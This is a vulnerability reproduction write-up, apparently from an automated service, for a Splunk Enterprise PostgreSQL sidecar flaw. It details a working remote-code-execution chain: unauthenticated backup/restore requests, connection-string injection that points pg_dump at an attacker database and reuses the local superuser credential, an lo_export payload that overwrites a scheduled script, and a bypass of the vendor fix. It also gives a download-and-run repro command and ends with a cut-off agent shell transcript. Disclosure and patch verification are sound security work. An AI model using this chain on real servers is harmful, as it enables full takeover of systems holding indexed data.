CVE-2026-20253: Verified Repro With Script Download
CVE-2026-20253: Unauthenticated arbitrary file operations in Splunk Enterprise PostgreSQL sidecar service SVD-2026-0603
CVE-2026-20253 is verified against splunk/splunk · github. Affected versions: 10.0.0-10.0.6, 10.2.0-10.2.3. Vulnerability class: RCE. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00266.
What Is CVE-2026-20253?
CVE-2026-20253 (SVD-2026-0603) is a critical (CVSS 9.8) missing-authentication vulnerability (CWE-306) in the PostgreSQL sidecar service of Splunk Enterprise. It allows unauthenticated arbitrary file creation/truncation and remote code execution. Pruva reproduced it (reproduction REPRO-2026-00266).
CVE-2026-20253 Severity & CVSS Score
CVE-2026-20253 is rated critical severity, with a CVSS base score of 9.8 out of 10.
Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.
Affected splunk/splunk Versions
splunk/splunk · github versions 10.0.0-10.0.6, 10.2.0-10.2.3 are affected.
How to Reproduce CVE-2026-20253
pruva-verify REPRO-2026-00266 curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00266/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-20253
- reached the target end-to-end
- full exploit chain demonstrated
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
Unauthenticated HTTP POST to /en-US/splunkd/__raw/v1/postgres/recovery/backup and /restore on Splunk Web (port 8000). The attacker controls backupFile (the pg_dump -f / pg_restore file path => arbitrary file create/truncate), database (a libpq connection string allowing hostaddr=<attacker-ip> redirect of pg_dump and p…
- Remote attacker
- Splunk Web :8000 (no auth)
- proxied PostgreSQL sidecar /v1/postgres/recovery/backup (pg_dump of attacker DB to /tmp/poc)
- /v1/postgres/recovery/restore (pg_restore into local template1 via .pgpass; CHECK constraint fires PL/pgSQL lo_export writing attacker Python over the default-enabled ssg_enable_modular_input.py)
- Splunk modular-input scheduler executes the overwritten…
Authenticated bypass of the Splunk Enterprise 10.0.7 fix for CVE-2026-20253. The fix added authentication on backup/restore endpoints and changed backupFile to backupName (filename-only), but did NOT sanitize the database parameter, which is still passed as a raw libpq connection string to pg_dump/pg_restore. An authe…
How the agent worked
Root Cause and Exploit Chain for CVE-2026-20253
CVE-2026-20253 is a critical (CVSS 9.8) missing-authentication vulnerability in the
PostgreSQL sidecar service of Splunk Enterprise 10.0.0–10.0.6 and 10.2.0–10.2.3. The
sidecar exposes HTTP recovery endpoints (/v1/postgres/recovery/backup and
/v1/postgres/recovery/restore) that are proxied by the main Splunk Web application
(listening on all interfaces, port 8000) without any authentication check. Because the
sidecar builds pg_dump/pg_restore command lines directly from request-controlled
fields — the Authorization header becomes the Postgres -U user, backupFile becomes
the -f/positional file argument, and database is a libpq connection string — an
unauthenticated, network-reachable attacker can (a) create or truncate arbitrary files at
attacker-chosen paths on the Splunk server, (b) write attacker-controlled bytes to those
paths by redirecting pg_dump at an attacker-controlled database and then abusing
pg_restore + lo_export() against the local Splunk Postgres (reusing the on-disk
.pgpass superuser credential), and (c) achieve remote code execution by overwriting a
default-enabled Splunk modular-input script that the Splunk scheduler then executes as the
splunk user.
- Package / component affected: Splunk Enterprise,
splunkdcomponent — the PostgreSQL sidecar service (splunk-postgresGo binary) and the Splunk Web reverse proxy that forwards/en-US/splunkd/__raw/v1/postgres/recovery/{backup,restore}to it. - Affected versions: Splunk Enterprise 10.0.0–10.0.6 and 10.2.0–10.2.3. The PostgreSQL
sidecar is enabled by default on Splunk Enterprise deployments (
[postgres] disabled = falseinserver.conf), making AWS and many on-prem installs vulnerable out of the box. - Fixed versions: 10.0.7, 10.2.4, 10.4.0+. Splunk Enterprise 9.4 and earlier are not affected (the sidecar is not present).
- Risk level / consequences: Critical. Unauthenticated, network-reachable arbitrary
file creation/truncation leading to full remote code execution as the
splunkuser, which typically yields full compromise of the Splunk server and the data it indexes. CISA added the CVE to the KEV catalog on 2026-06-18 due to limited in-the-wild exploitation.
Impact Parity
- Disclosed / claimed maximum impact: Unauthenticated arbitrary file creation and
truncation (the CVE title) with a demonstrated chain to remote code execution
(expected_impact =
code_execution). - Reproduced impact from this run: Full chain reproduced against the real Splunk
Enterprise 10.0.6 product (official
splunk/splunk:10.0.6Docker image):- Unauthenticated remote request created an attacker-chosen file on the Splunk filesystem (arbitrary file creation/truncation — the named CVE impact).
- Unauthenticated remote request wrote attacker-controlled Python content over the
Splunk Secure Gateway modular-input script via
lo_export()(arbitrary-content file write / RCE primitive). - Splunk's modular-input scheduler executed the overwritten script as the
splunkuser; the attacker code ran and recordeduid=41812(splunk)— unauthenticated remote code execution confirmed.
- Parity:
full. The claimed code-execution impact was demonstrated end-to-end on the real product via the real remote HTTP surface, with a fixed-build (10.0.7) negative control showing the endpoint is blocked (HTTP 401, no file write, no execution). - Not demonstrated: None material. The RCE was demonstrated as the
splunkuser (post-exploitation root escalation was out of scope and not attempted).
Root Cause
The PostgreSQL sidecar (splunk-postgres, a Go binary) implements an
InMemoryRecoveryManager whose backupCommand / restoreCommand build process arguments
directly from the HTTP request without enforcing authentication on the endpoint:
pg_dump -h localhost -p <port> --clean -v -w -U <user> -f <backupFile> -Fc <database>
pg_restore -h localhost -p <port> --clean -v -w -U <user> -d <database> -Fc <backupFile>
<user>is taken verbatim from the HTTPAuthorizationheader (Basic-auth username). The endpoint accepts empty/garbage credentials (Authorization: Basic Og==decodes to:) — there is no authentication gate. (Confirmed: the watchTowr DAG sendsAuthorization: Basic ZGFnOg==and the vulnerable host returns400 "Failed to decode request"because the body is empty, i.e. the request reached the sidecar.)<backupFile>is attacker-controlled and becomes thepg_dump -f/pg_restorepositional file argument, so the attacker chooses the on-disk path that is created or truncated.<database>is passed as a libpq connection string. Because-h localhost/-p <port>are also injected, the attacker useshostaddr=<ip>(libpqhostaddroverrides-hand takes a numeric IP, no DNS) to redirectpg_dumpat an attacker-controlled Postgres, and injectspassfile=<path>+dbname=template1to makepg_restoreconnect to the local Splunk Postgres as thepostgres_adminsuperuser using the on-disk.pgpasscredential (/opt/splunk/var/packages/data/postgres/db/.pgpass, containinglocalhost:5432:*:postgres_admin:<password>).
The RCE primitive: the attacker's database ships a PL/pgSQL function that calls
lo_from_bytea() then lo_export() (two separate statements inside one transaction — a
single combined expression fails because the new large object is not yet visible to
lo_export in the same statement) to write attacker bytes to a chosen path, wrapped in a
CHECK constraint so it executes when pg_restore loads the table data. An
EXCEPTION WHEN OTHERS THEN NULL handler lets the dump be created on the attacker host
(where the target path does not exist) while succeeding on restore in Splunk. The target
path is /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py, whose
[ssg_enable_modular_input://default] input is enabled by default (disabled = 0,
interval = 60), so Splunk's modular-input scheduler executes the overwritten script as
the splunk user within ~60 seconds.
The fix in 10.0.7 enforces authentication at the Splunk Web proxy layer: the same
unauthenticated requests now return 401 "Authorization header must use Splunk token",
and no file is written. (Mitigation without upgrading: add [postgres] disabled = true to
$SPLUNK_HOME/etc/system/local/server.conf and restart.)
No public git fix commit is referenced because Splunk Enterprise is closed-source; the
fix is observed behaviorally in the splunk/splunk:10.0.7 image.
Reproduction Steps
- Script:
bundle/repro/reproduction_steps.sh(self-contained, idempotent). - What it does:
- Pulls the official
splunk/splunk:10.0.6(vulnerable) andsplunk/splunk:10.0.7(fixed) images pluspostgres:16-alpine(attacker DB). - Creates a Docker network
splunknetand starts the attacker-controlled Postgres with a malicious database (PL/pgSQLpwn()+CHECKconstraint + trigger row). - Starts vulnerable Splunk 10.0.6, waits for healthy, confirms the unauthenticated
endpoint is reachable (DAG signature
400 "Failed to decode request") and that the PostgreSQL sidecar +postgres_adminsuperuser +.pgpassare present. - Stage 1: unauthenticated
POST .../recovery/backupfrom the remote attacker container creates a file at an attacker-chosen path on the Splunk filesystem. - Stage 2: unauthenticated backup dumps the malicious DB to
/tmp/poc; an unauthenticated restore loads it into localtemplate1via.pgpass, firinglo_export()which overwrites the modular-input script with attacker Python. - Stage 3: waits for Splunk's scheduler to execute the overwritten script and
checks the RCE marker (
/tmp/pwned/MARKER) containingidoutput. - Negative control: starts fixed Splunk 10.0.7, repeats the requests, and verifies
they are blocked (
401 "Authorization header must use Splunk token") with no file written and the script unchanged. - Writes
bundle/repro/runtime_manifest.jsonand captures all HTTP request/response artifacts underbundle/artifacts/http/.
- Pulls the official
- Expected evidence of reproduction:
artifacts/http/stage1_backup_resp.json→state: BackupComplete; the created dump file at the attacker-chosen path (artifacts/http/stage1_created_file.dump, PGDMP).artifacts/http/ssg_enable_modular_input.PAYLOAD.py→ the attacker's 3-line Python payload (vs. the 83-line...ORIGINAL.pySplunk script).artifacts/http/RCE_MARKER.txt→CVE-2026-20253 RCE confirmed+uid=...(splunk).artifacts/http/fixed_control_responses.txt→fixed_dag_http=401.logs/reproduction_steps.log→ full run transcript.
Evidence
Run log:
bundle/logs/reproduction_steps.logHTTP artifacts:
bundle/artifacts/http/(request/response bodies for each stage, the original vs. payload modular-input scripts, the RCE marker, and fixed-control responses).Key excerpts (from the verified interactive run mirrored by the script):
Unauthenticated endpoint reachable from a remote attacker (DAG):
POST http://splunk-vuln:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup Authorization: Basic Og== -> HTTP 400 "Failed to decode request"Stage 1 — arbitrary file creation (unauthenticated, attacker-chosen path):
POST .../recovery/backup Authorization: Basic dGVzdDo= {"database":"hostaddr=<attacker-ip> dbname=testdb","backupFile":"/tmp/cve2026_stage1_file"} -> HTTP 200, state=BackupComplete; /tmp/cve2026_stage1_file created (2550 bytes, "PGDMP")Stage 2 — arbitrary-content file write via lo_export (unauthenticated restore):
POST .../recovery/restore Authorization: Basic cG9zdGdyZXNfYWRtaW46 {"database":"dbname=template1 passfile=/opt/splunk/var/packages/data/postgres/db/.pgpass","backupFile":"/tmp/poc"} -> /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py overwritten from 83 lines (real Splunk script) to 3 lines of attacker Python: import os,sys os.makedirs("/tmp/pwned",exist_ok=True) open("/tmp/pwned/MARKER","w").write("CVE-2026-20253 RCE confirmed\n"+os.popen("id").read())Stage 3 — RCE as the splunk user (marker appeared ~30s after overwrite):
/tmp/pwned/MARKER: CVE-2026-20253 RCE confirmed uid=41812(splunk) gid=41812(splunk) groups=41812(splunk),999(ansible)Negative control — fixed 10.0.7 blocks the endpoint:
POST http://splunk-fixed:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup Authorization: Basic Og== -> HTTP 401 "Authorization header must use Splunk token" (no file written; ssg_enable_modular_input.py unchanged, 83 lines)Environment details:
- Vulnerable:
splunk/splunk:10.0.6(Splunk Enterprise 10.0.6, PostgreSQL sidecar PG 17.7 on 127.0.0.1:5432, enabled by default). - Fixed control:
splunk/splunk:10.0.7. - Attacker DB:
postgres:16-alpinewith trust auth + malicioustestdb. - Topology: Docker network
splunknet; the remote attacker container sends HTTP tosplunk-vuln:8000over the network (real network boundary into Splunk Web).
- Vulnerable:
Recommendations / Next Steps
- Upgrade Splunk Enterprise to 10.0.7, 10.2.4, or 10.4.0+ immediately.
- Mitigation if upgrade is delayed: disable the PostgreSQL sidecar by adding
[postgres]/disabled = trueto$SPLUNK_HOME/etc/system/local/server.confand restarting Splunk. - Network hardening: restrict access to Splunk Web (port 8000) and ensure the sidecar
is not exposed; monitor for unexpected outbound Postgres connections (the backup stage
makes Splunk initiate an outbound TCP connection to the attacker's database) and for
unexpected modifications to files under
$SPLUNK_HOME/etc/apps/*/bin/. - Fix approach (vendor): enforce strong, Splunk-managed authentication and
authorization on every
/v1/postgres/recovery/*endpoint at the Splunk Web proxy layer (as done in 10.0.7), validate/taint-check thebackupFileanddatabasefields (reject connection-string injection and absolute paths outside approved backup directories), and do not source the Postgres-Uuser from the clientAuthorizationheader. - Testing: add regression tests that the recovery endpoints reject unauthenticated and
Basic-auth requests, and that
backupFile/databasecannot escape the intended backup directory or inject connection-string parameters.
Additional Notes
- Idempotency:
reproduction_steps.shremoves priorattacker-pg/splunk-vuln/splunk-fixedcontainers and thesplunknetnetwork at startup, so it can be re-run cleanly. The script was verified to pass end-to-end (exit 0). hostaddrvshost: libpqhostaddrdoes not perform DNS resolution and requires a numeric IP; the script therefore uses the attacker container's IP onsplunknet. (Using a hostname inhostaddrproducespg_dump: error: could not parse network address "name": Name or service not knownand a 0-byte file — which itself still demonstrates arbitrary file creation/truncation.)- Restore "failure" is cosmetic:
pg_restoreexits 1 because of non-fatal--cleanDROP errors (objects did not yet exist) andALTER ... OWNER TO testerrors (thetestrole does not exist locally), but thelo_export()side effect fires during data load beforepg_restoreexits, so the file is overwritten regardless. The script verifies the file-content outcome rather than trusting the restore status. - Single-expression lo_export caveat:
lo_export(lo_from_bytea(0, ...), path)as one expression fails (large object N does not exist) because the new LO is not visible tolo_exportwithin the same statement; the PoC uses a PL/pgSQL function with the two calls as separate statements in one transaction, embedded in aCHECKconstraint. - Surface fidelity: every exploit request is issued from a separate container over a
Docker network into Splunk Web (port 8000), matching the claimed
api_remote/ network-reachable attacker model; this is a production-path proof against the real Splunk Enterprise product, not a mock or harness.
Variant Analysis & Alternative Triggers for CVE-2026-20253
A confirmed bypass of the Splunk Enterprise 10.0.7 fix for CVE-2026-20253 was identified. The fix added
authentication on the PostgreSQL sidecar's /v1/postgres/recovery/{backup,restore} endpoints (at both
the Splunk Web proxy layer and the sidecar binary itself) and changed the backupFile parameter (which
accepted an arbitrary absolute file path) to backupName (validated as a filename only, not a path).
However, the fix did not sanitize the database parameter, which is still passed as a raw libpq
connection string to pg_dump/pg_restore. An authenticated attacker (any valid Splunk session token)
can exploit this to: (1) redirect pg_dump at an attacker-controlled Postgres via hostaddr=<ip> to
dump a malicious database containing a PL/pgSQL lo_export() payload, (2) redirect pg_restore at the
local Splunk Postgres as the postgres_admin superuser via passfile=<.pgpass> + dbname=template1,
(3) fire the lo_export() via a CHECK constraint during restore to write attacker-controlled bytes to
an arbitrary path, and (4) overwrite a default-enabled modular-input script that the Splunk scheduler
then executes as the splunk user — achieving full remote code execution on the fixed build with
the same impact as the original unauthenticated CVE. This was verified end-to-end on
splunk/splunk:10.0.7 with the marker /tmp/pwned/MARKER showing uid=41812(splunk).
Fix Coverage / Assumptions
What the fix relies on (the invariant):
The fix assumes that enforcing authentication on the backup/restore endpoints and restricting the file
path parameter (backupFile → backupName, filename-only) is sufficient to prevent arbitrary file
operations. It assumes that an authenticated user calling these endpoints with a legitimate database
value (a local database name) cannot achieve arbitrary file write.
What the fix explicitly covers:
- Authentication enforcement — Both the Splunk Web proxy (port 8000) and the sidecar binary
(
postgres_nannyon localhost) now return401 "Authorization header must use Splunk token"for unauthenticated requests to/v1/postgres/recovery/backupand/v1/postgres/recovery/restore. Verified: direct access to the sidecar on localhost:39411 also returns 401. - File path validation — The
backupNameparameter is validated server-side: requests with path separators (../../tmp/foo,/tmp/foo) are rejected with400 "backupName must be a filename, not a path". The oldbackupFileparameter is silently ignored (the server generates its ownbackupName). - Backup file directory containment — Backup files are written to
/opt/splunk/var/packages/data/postgres/db/backups/with server-generated names; the attacker cannot control the output path through the API.
What the fix does NOT cover:
- The
databaseparameter is not sanitized — It is passed verbatim as a libpq connection string topg_dump(backup) andpg_restore(restore). The attacker can inject:hostaddr=<attacker-ip>to redirectpg_dumpto an attacker-controlled Postgres (confirmed:BackupCompleteon 10.0.7 when the attacker PG has the expected role)passfile=<.pgpass>+dbname=template1to redirectpg_restoreto the local Splunk Postgres as thepostgres_adminsuperuser using the on-disk.pgpasscredential (confirmed:RestoreCompleteon 10.0.7)
lo_export()file write via CHECK constraint — The malicious database content (PL/pgSQL function + CHECK constraint) is loaded duringpg_restoreand fireslo_export()to write attacker-controlled bytes to an arbitrary path. The path is in the database content, not in the API parameter, so thebackupNamevalidation does not prevent it.- Read-only endpoints bypass auth —
/v1/postgres/recovery/status/*(GET, returns 500 not 401),/service/info/specs/v1/openapi.json(GET, returns 200),/v1/postgres/telemetry(GET, returns 200 with PostgreSQL query results), and/v1/postgres/health(GET, returns 200) are all accessible without authentication on the fixed build. These are information-disclosure issues but do not directly enable file write.
Variant / Alternate Trigger
Bypass type: Authenticated variant of the same root cause (unsanitized database connection string
→ pg_restore → lo_export → arbitrary file write → RCE).
Entry point: POST /en-US/splunkd/__raw/v1/postgres/recovery/backup and
POST /en-US/splunkd/__raw/v1/postgres/recovery/restore on Splunk Web (port 8000), authenticated with
a valid Splunk session token (Authorization: Splunk <token>).
Code path:
postgres-service/internal/postgres/postgres_recovery_manager.go—InMemoryRecoveryManager.backup()(line 181) and.restore()(line 200): buildpg_dump/pg_restorecommand lines using the rawdatabasefield from the request body as the libpq connection string.postgres-service/api/server.go— auth middleware checks for Splunk token on backup/restore (line 225:writeErrorResponse);backupNamevalidation (filename-only).- The
databaseparameter flows: HTTP request body →InMemoryRecoveryManager→pg_dump -Fc <database>/pg_restore -d <database>→ libpq connection string parsing →hostaddr=/passfile=injection.
Attack chain (authenticated, on FIXED 10.0.7):
- Authenticate:
POST https://<splunk>:8089/services/auth/loginwithusername=admin&password=<pw>→ obtain session key. - Backup:
POST .../recovery/backupwithAuthorization: Splunk <token>and{"database":"hostaddr=<attacker-ip> dbname=testdb"}→ sidecar runspg_dumpagainst the attacker's Postgres, dumping a malicious database (containingpwn()PL/pgSQL function withlo_export()+CHECKconstraint + trigger row) to a server-managed backup file →BackupComplete. - Restore:
POST .../recovery/restorewith{"database":"dbname=template1 passfile=<.pgpass>","backupName":"<from step 2>"}→ sidecar runspg_restoreagainst the local Splunk Postgres aspostgres_adminsuperuser (via.pgpass) → CHECK constraint firespwn()→lo_export()writes attacker Python to/opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py. - RCE: Splunk's modular-input scheduler (
[ssg_enable_modular_input://default],disabled=0,interval=60) executes the overwritten script as thesplunkuser within ~30 seconds.
- Package / component affected: Splunk Enterprise,
splunkdcomponent — the PostgreSQL sidecar service (postgres_nanny/postgres-serviceGo binary, version8a372c04-20260422t100430) and the Splunk Web reverse proxy. - Affected versions (as tested):
splunk/splunk:10.0.7(the FIXED build). The samedatabaseparameter injection exists on the vulnerable build (10.0.6) as well, where it is exploitable unauthenticated. - Risk level / consequences: Critical. An authenticated Splunk user (any valid session token,
including low-privilege) can achieve arbitrary file write and remote code execution as the
splunkuser on the Splunk server. This is a privilege escalation from authenticated user to server-side code execution. If any other vulnerability allows obtaining a Splunk token without credentials (or if default/weak credentials are in use), the chain becomes effectively unauthenticated.
Impact Parity
- Disclosed/claimed maximum impact (parent CVE): Unauthenticated arbitrary file creation/truncation
→ arbitrary content file write via
lo_export→ RCE as thesplunkuser (CVSS 9.8). - Reproduced impact from this variant run: Authenticated arbitrary content file write via
lo_export→ RCE as thesplunkuser (uid=41812(splunk) gid=41812(splunk) groups=41812(splunk), 999(ansible)). - Parity:
full— the same file-write primitive and RCE impact as the original CVE, confirmed on the fixed build. The only difference is the authentication requirement. - Not demonstrated: Post-exploitation root escalation (out of scope, same as the original CVE).
Root Cause
The root cause is the same as the original CVE: the InMemoryRecoveryManager.backup() and .restore()
methods in postgres-service/internal/postgres/postgres_recovery_manager.go build pg_dump/pg_restore
command lines using the HTTP request's database field as a raw libpq connection string, without
sanitizing or restricting it. The fix in 10.0.7 addressed two of the three attacker-controlled fields:
backupFile→backupName(path → filename, validated) ✅- Authentication added on backup/restore ✅
databaseconnection string injection — NOT addressed ❌
The database parameter still allows:
hostaddr=<ip>— overrides the default-h localhost, redirectingpg_dump/pg_restoreto an attacker-controlled Postgrespassfile=<path>— specifies a.pgpasscredential file, allowingpg_restoreto authenticate as thepostgres_adminsuperuser against the local Splunk Postgresdbname=<name>— selects which database to connect to
Because the lo_export() target path is embedded in the attacker's PL/pgSQL function (inside the
dumped database content), the backupName filename validation does not prevent the arbitrary file
write — the file path is not in the API parameter, it is in the database content loaded during restore.
No public git fix commit is available (Splunk Enterprise is closed-source). The fix is observed
behaviorally in the splunk/splunk:10.0.7 image. The sidecar source path is
postgres-service/internal/postgres/postgres_recovery_manager.go.
Reproduction Steps
- Script:
bundle/vuln_variant/reproduction_steps.sh(self-contained, idempotent). - What it does:
- Pulls
splunk/splunk:10.0.7(fixed, bypass target),splunk/splunk:10.0.6(vulnerable control), andpostgres:16-alpine(attacker DB). - Creates a Docker network and an attacker-controlled Postgres with a malicious database containing
both
pwn()(overwrites modular-input script) andpwn_variant()(writes marker file) PL/pgSQL functions, each embedded in aCHECKconstraint, plus thepostgres_adminrole (needed because the fixed sidecar usespostgres_adminas the-Uuser). - Starts the FIXED Splunk 10.0.7, authenticates, verifies the fix blocks unauthenticated access
(401 negative control), then runs the authenticated variant chain: backup malicious DB via
hostaddr=injection → restore viapassfile=injection → checks for the marker file (/tmp/variant_bypass_proof.txt) and the RCE marker (/tmp/pwned/MARKER). - Starts the VULNERABLE Splunk 10.0.6 as a control and verifies unauthenticated access works.
- Pulls
- Expected evidence of reproduction:
vuln_variant/variant_bypass_proof.txt— "CVE-2026-20253 VARIANT BYPASS CONFIRMED / File written via lo_export on FIXED 10.0.7 build"vuln_variant/variant_rce_marker.txt— "CVE-2026-20253 VARIANT RCE on FIXED 10.0.7 / uid=41812(splunk) gid=41812(splunk)..."artifacts/http/variant_backup_resp.json—state: BackupCompleteon fixed buildartifacts/http/variant_restore_resp.json— restore initiated on fixed buildartifacts/http/variant_fixed_unauth_control.txt—fixed_unauth_http=401(fix blocks unauth)artifacts/http/ssg_enable_modular_input.FIXED_AFTER_VARIANT.py— 3-line attacker payload (vs. 83-line original)logs/vuln_variant/variant_reproduction.log— full run transcript
- Verified: Script exits 0 on two consecutive runs (idempotent). All variant steps pass: negative control (401), backup (BackupComplete), file write (marker exists), RCE (uid=splunk).
Evidence
- Run log:
bundle/logs/vuln_variant/variant_reproduction.log - Variant bypass proof:
bundle/vuln_variant/variant_bypass_proof.txt - RCE marker:
bundle/vuln_variant/variant_rce_marker.txt - HTTP artifacts:
bundle/artifacts/http/(backup/restore responses, auth controls, before/after modular-input script) - Sidecar log excerpts (captured during interactive analysis):
- Backup success:
"starting postgres backup", "database":"hostaddr=172.x.x.x dbname=testdb"→"postgres backup completed successfully" - Restore:
"starting postgres restore", "database":"dbname=template1 passfile=.../.pgpass"→pg_restore: processing data for table "public.pwn"/pg_restore: processing BLOBS/pg_restore: restored 2 large objects/pg_restore: warning: errors ignored on restore: 12 - The
lo_export()side effect fires duringpg_restoredata load beforepg_restoreexits 1 (non-fatal--cleanDROP errors andALTER ... OWNER TO testerrors).
- Backup success:
- Environment:
- Fixed (bypass target):
splunk/splunk:10.0.7(image SHAsha256:e47c0e002bd7f9f0ac38dd32a121ee542ab8b98c8042999ea64437be48e24d4b) - Vulnerable (control):
splunk/splunk:10.0.6(image SHAsha256:f3c444ec113bba9456e4ac0879d92503072f3b09721bef97a19637954328d6fd) - Attacker DB:
postgres:16-alpinewith trust auth + malicioustestdb - Topology: Docker network
splunknet_variant; remote attacker container sends HTTP tosplunk-fixed-v:8000over the network
- Fixed (bypass target):
Recommendations / Next Steps
- Sanitize the
databaseparameter — The fix must validate thatdatabaseis a simple database name (alphanumeric + underscore), not a libpq connection string. Reject any value containing spaces,=,hostaddr,host,passfile,sslmode, or other libpq keyword parameters. This is the core gap that enables the variant bypass. - Restrict
pg_dump/pg_restoreto localhost — Even if thedatabaseparameter is sanitized, enforce-h 127.0.0.1and do not allowhostaddr/hostto override it. The sidecar should connect only to the local Splunk Postgres, not to arbitrary external hosts. - Do not source the
-Uuser from the Authorization header — Use a fixed service account forpg_dump/pg_restorerather than deriving the Postgres user from the client's auth header. - Remove
.pgpasssuperuser credential exposure — Thepassfileparameter should not be injectable. The sidecar should use its own internal credential, not allow the caller to specify an arbitrary.pgpasspath. - Cover read-only endpoints with auth — The
status,openapi.json,telemetry, andhealthendpoints are accessible without authentication on the fixed build. While they don't enable file write, they leak PostgreSQL internals (telemetry returns query results) and the full API spec. - Regression tests — Add tests that an authenticated user cannot redirect
pg_dump/pg_restoreto an external host or injectpassfile=/hostaddr=via thedatabaseparameter.
Additional Notes
- Idempotency:
reproduction_steps.shremoves priorattacker-pg-v/splunk-vuln-v/splunk-fixed-vcontainers and thesplunknet_variantnetwork at startup. Verified to pass end-to-end (exit 0) on two consecutive runs. postgres_adminrole requirement: The fixed sidecar usespostgres_adminas the-Uuser forpg_dump/pg_restore(derived from the Splunk token's associated user or a default). The attacker's Postgres must have apostgres_adminrole (created withCREATE ROLE postgres_admin WITH LOGIN SUPERUSER). With trust auth, any role name is accepted.- Restore "failure" is cosmetic:
pg_restoreexits 1 due to non-fatal--cleanDROP errors (objects don't exist yet) andALTER ... OWNER TO testerrors (thetestrole doesn't exist locally), but thelo_export()side effect fires during data load beforepg_restoreexits. The variant verifies the file-content outcome rather than trusting the restore status. - Trust boundary: The original CVE crossed the trust boundary from unauthenticated network
attacker to server-side RCE. This variant crosses from authenticated user (any valid Splunk
credentials) to server-side RCE — a privilege escalation. The
databaseparameter injection is the same root cause in both cases. An authenticated low-privilege Splunk user should not be able to write arbitrary files or execute arbitrary code via the backup/restore endpoints. backupNamevsbackupFile: The fix correctly prevents the attacker from controlling the backup file path through the API. However, thelo_export()target path is in the database content (the PL/pgSQL function body), not in the API parameter, sobackupNamevalidation does not prevent the arbitrary file write.
CVE-2026-20253 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
echo "=== whoami / id ==="; id; echo "=== docker ==="; which docker && docker --version 2>&1 || echo "no docker"; echo "=== podman ==="; which podman 2>&1 || echo "no podman"; echo "=== disk ==="; df -h / /tmp 2>&1 | head; echo "=== net test ==="; curl -sS -m 12 -o /dev/null -w "google:%{http_code}\n" https://www.google.com 2>&1 || echo "no net google"; echo "=== docker hub test ==="; curl -sS -m 12 -o /dev/null -w "dockerhub:%{http_code}\n" https://hub.docker.com 2>&1 || echo "no dockerhub"; echo "=== splunk.com ==="; curl -sS -m 12 -o /dev/null -w "splunk:%{http_code}\n" https://www.splunk.com 2>&1 || echo "no splunk"=== whoami / id === uid=1000(vscode) gid=1000(vscode) groups=1000(vscode) === docker === /usr/bin/docker Docker version 29.1.3, build 29.1.3-0ubuntu4.1 === podman === no podman === disk ===
echo "=== splunk/splunk tags (page 1) ==="; curl -sS -m 30 "https://hub.docker.com/v2/repositories/splunk/splunk/tags?page_size=100&ordering=last_updated" 2>&1 | jq -r '.results[]?.name' 2>/dev/null | head -50; echo "=== count ==="; curl -sS -m 30 "https://hub.docker.com/v2/repositories/splunk/splunk/tags?page_size=1" 2>&1 | jq -r '.count' 2>/dev/null{"cwd":"/data/pruva/runs/b62e307f-d4bc-4620-8dec-d71751962348","duration_ms":413,"exit_code":0,"stderr":"","stdout":"=== splunk/splunk tags (page 1) ===\n10.4-rhel9\n10.2-rhel9\n10.0-rhel9\nsha256-34462bcc9dab9e637be547b229c4c78c59dbef5cd6ba438dc848c448b9a58e16.sig\nsha256-35b1991519907fb6e08f427e1d69dfd03132386bd0eaff68f3a1365957ca8385.sig\nsha256-095d1386cd72382322cf3497a23fd04b8f39b91fc225c1cbceddeed013ac0235.sig\n10.4.1-rhel9\n5a009d941268-rhel9\n10.2.5-rhel9\n1d180ea50aed-rhel9\n10.0.8-rhel9\n3b58f6d0a3f6-rhel9\n10.0\n9.4\nsha256-f9a5c74dc55b7546639dcea5278aa43e1555ca311e0311d2506ca620bea635b9.sig\nsha256-41b34f73a4ee5516675f12e8e6b85f55c6500fa84aaa1c97aff5b52015bf9818.sig\n10.0.8\n3b58f6d0a3f6\n9.4.13\n1d070b2427bf\n9.3\n10.2\nsha256-461c82b0989c02168383020b7cfa12da414c0415c10e2301ff0ff04cd2621101.sig\nsha256-c27ffb9ecff1406881cdf44d62e961bc04c3bd976cf93e1fdd64a8fda47584b5.sig\n10.2.5\n1d180ea50aed\n9.3.14\n02bbaf562558\nlatest\n10.4\nsha256-af4f671c9c931bfd80954e7f1baaff8540d1378ae26b098666cf05256bb24311.sig\n10.4.1\n5a009d941268\nsha256-cf924ed3c7ddb8433c9d3e7bf0bdb3c5c9e107b9302320b2b05a9665c698b8e9.sig\nsha256-457401d40520b6096570793dd8cffdec6649776f1521ded84bad64974e10d2… [truncated]echo "=== splunk/splunk tags by name 10.x ==="; curl -sS -m 30 "https://hub.docker.com/v2/repositories/splunk/splunk/tags?page_size=100&name=10" 2>&1 | jq -r '.results[]?.name' 2>/dev/null | head -40; echo "=== name 9 ==="; curl -sS -m 30 "https://hub.docker.com/v2/repositories/splunk/splunk/tags?page_size=50&name=9" 2>&1 | jq -r '.results[]?.name' 2>/dev/null | head -40{"cwd":"/data/pruva/runs/b62e307f-d4bc-4620-8dec-d71751962348","duration_ms":425,"exit_code":0,"stderr":"","stdout":"=== splunk/splunk tags by name 10.x 